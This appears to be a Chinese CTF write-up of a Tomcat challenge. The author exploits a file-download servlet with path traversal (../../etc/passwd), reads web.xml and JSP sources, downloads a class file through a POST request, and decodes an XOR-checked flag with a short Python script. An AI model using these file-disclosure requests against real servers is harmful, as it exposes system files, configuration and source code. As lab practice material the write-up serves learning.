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题目描述:出题人疯了，老是念叨着什么茶买袄
可以登录,先看看help
# get or post filename to /DownloadServlet ?
可以在此处下载任意文件
/DownloadServlet?filename=
我应该首先尝试目录穿越
/DownloadServlet?filename=../../../../../etc/passwd
没有权限？
**类型** 异常报告**描述** 服务器遇到一个意外的情况，阻止它完成请求。**例外情况**java.lang.NullPointerExceptionjava.io.File.<init>(File.java:279)com.ctf.file.DownloadServlet.doGet(DownloadServlet.java:22)javax.servlet.http.HttpServlet.service(HttpServlet.java:529)javax.servlet.http.HttpServlet.service(HttpServlet.java:623)org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)**):注意** 主要问题的全部 stack 信息可以在 server logs 里查看
Apache Tomcat/9.0.96
我应该尝试读取server logs, 问一下ai路径
?filename=/usr/local/tomcat/logs/catalina.out
读一下
/DownloadServlet?filename=/WEB-INF/classes/com/ctf/file/DownloadServlet.class
Class 文件无法直接显示，请下载后查看。
失败,茶买袄是什么？XML?,再问问ai
/DownloadServlet?filename=/WEB-INF/web.xml
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5"><display-name>JavaTest2</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.ctf.file.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagManager</servlet-name>
<servlet-class>com.ctf.flag.FlagManager</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagManager</servlet-name>
<url-pattern>/FlagManager</url-pattern>
</servlet-mapping>
</web-app>
/DownloadServlet?filename=index.jsp
<%--Created by IntelliJ IDEA.User: yuzhenzhaoDate: 2025/2/19Time: 11:50To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head><title>登录页面</title>
</head>
<body>
<%// 获取请求参数String username = request.getParameter("username");String password = request.getParameter("password");// 检查是否提交了表单if ("POST".equalsIgnoreCase(request.getMethod()) && username != null && password != null) {// 不论输入什么用户名和密码，都返回登录失败的提示out.println("<h1 style='color: red;'>登录失败，请检查用户名和密码。</h1>");}
%>
<!-- 登录表单 -->
<form action="index.jsp" method="post">用户名：<input type="text" name="username"><br>密码：<input type="password" name="password"><br><input type="submit" value="登录">
</form>
<!-- 隐藏表单 -->
<form id="helpForm" action="Download" method="get" style="display:none;"><input type="text" name="filename" value="help.docx">
</form>
<!-- 超链接指向 help.jsp -->
<a href="help.jsp" target="_blank">help.txt?</a>
</body>
</html>
/DownloadServlet?filename=help.jsp
<%--Created by IntelliJ IDEA.User: yuzhenzhaoDate: 2025/2/19Time: 23:34To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Help</title>
</head>
<body>
<h1>get or post filename to /DownloadServlet ?</h1>
</body>
</html>
/DownloadServlet?filename=index.html
都没啥用,再读下class
/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
Class 文件无法直接显示，请下载后查看。
试试post
POST /DownloadServlet HTTP/1.1
Host: challenge.qsnctf.com:30561
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=1378738D46CB9BD3B19BA113C677977E
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
成功
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
// package com.ctf.flag; import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet; public class FlagManager extends HttpServlet { public FlagManager() { } public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.println("Please input your flag: "); String str = sc.next(); System.out.println("Your input is: "); System.out.println(str); char[] stringArr = str.toCharArray(); Encrypt(stringArr); } public static void Encrypt(char[] arr) { ArrayList<Integer> Resultlist = new ArrayList(); for(int i = 0; i < arr.length; ++i) { int result = arr[i] + 38 ^ 48; Resultlist.add(result); } int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188}; ArrayList<Integer> Keylist = new ArrayList(); for(int j = 0; j < key.length; ++j) { Keylist.add(key[j]); } System.out.println("Result: "); if (Resultlist.equals(Keylist)) { System.out.println("Congratulations! "); } else { System.out.println("Error! "); } }
}
写一下RE
// 该代码是由IntelliJ IDEA从.class文件反编译而来的
// 该类是一个继承自HttpServlet的FlagManager类，主要用于处理用户输入的“flag”并与预设的密钥进行比较package com.ctf.flag; // 定义类所在的包import java.util.ArrayList; // 导入ArrayList类
import java.util.Scanner; // 导入Scanner类，用于获取用户输入
import javax.servlet.http.HttpServlet; // 导入HttpServlet类，用于创建Servlet// 定义FlagManager类，继承自HttpServlet
public class FlagManager extends HttpServlet { // 构造函数public FlagManager() { }// main方法，程序的入口public static void main(String[] args) { // 创建Scanner对象，用于读取用户输入Scanner sc = new Scanner(System.in); // 提示用户输入flagSystem.out.println("Please input your flag: "); // 读取用户输入的flag（一个字符串）String str = sc.next(); // 输出用户输入的flagSystem.out.println("Your input is: "); System.out.println(str); // 将输入的字符串转换为字符数组char[] stringArr = str.toCharArray(); // 调用Encrypt方法进行加密处理Encrypt(stringArr); }// 加密方法，接收一个字符数组作为参数public static void Encrypt(char[] arr) { // 创建一个ArrayList用于存储加密后的结果ArrayList<Integer> Resultlist = new ArrayList(); // 遍历输入的字符数组，进行加密for(int i = 0; i < arr.length; ++i) { // 加密规则：字符的ASCII值加38后与48进行异或运算int result = arr[i] + 38 ^ 48; // 将加密后的结果添加到Resultlist中Resultlist.add(result); }// 定义一个预设的密钥数组，用于与加密结果进行比较int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188}; // 将密钥数组转换为ArrayList，便于后续比较ArrayList<Integer> Keylist = new ArrayList(); // 将密钥数组的每个元素添加到Keylist中for(int j = 0; j < key.length; ++j) { Keylist.add(key[j]); }// 输出加密结果的比较System.out.println("Result: "); // 判断加密结果是否与预设的密钥一致if (Resultlist.equals(Keylist)) { // 如果一致，表示加密成功System.out.println("Congratulations! "); } else { // 如果不一致，表示加密失败System.out.println("Error! "); }}
}
enc = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
for i in range(0, len(enc)): enc[i] = (enc[i] ^ 48) - 38 flag = ''
for i in enc: flag += chr(i) print(flag)
成功